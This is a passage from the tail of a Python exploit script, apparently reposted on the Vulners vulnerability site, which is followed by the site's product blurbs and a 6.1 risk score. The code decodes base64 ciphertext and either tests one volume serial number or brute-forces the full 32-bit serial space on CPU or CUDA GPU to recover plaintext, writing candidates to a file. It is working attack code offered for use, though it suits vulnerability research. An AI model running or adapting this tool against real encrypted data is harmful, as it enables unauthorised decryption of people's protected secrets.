help="verify the CUDA kernel against the Python reference")
args = ap.parse_args()
try:
ct = base64.b64decode(args.value)
except Exception as e:
ap.error("invalid base64: %s" % e)
if len(ct) == 0 or len(ct) % 16:
ap.error("ciphertext is not a multiple of 16 bytes (%d)" % len(ct))
if args.selftest:
sys.exit(0 if selftest(GpuBackend(ct, block=args.block,
maxreg=args.maxreg)) else 1)
if args.serial and not args.bruteforce:
vsn = parse_serial(args.serial)
pt = try_decrypt(ct, vsn)
if pt is None:
print("[-] does not decrypt")
sys.exit(2)
print("[+] VSN=%08X -> %r" % (vsn, pt))
return
if not args.bruteforce:
ap.error("use -s/--serial or -b/--bruteforce")
start = parse_serial(args.start) if args.start else 0
end = parse_serial(args.end) if args.end else 2**32
if not (0 <= start < end <= 2**32):
ap.error("invalid range")
out_path = args.out or ("candidates_%08X_%X.tsv" % (start, end))
if args.gpu:
bruteforce_gpu(ct, start, end, block=args.block, batch=args.batch,
target_ms=args.target_ms, maxreg=args.maxreg,
charset=args.charset, out_path=out_path)
else:
bruteforce_cpu(ct, start, end, workers=args.workers,
charset=args.charset, out_path=out_path)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Oct 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1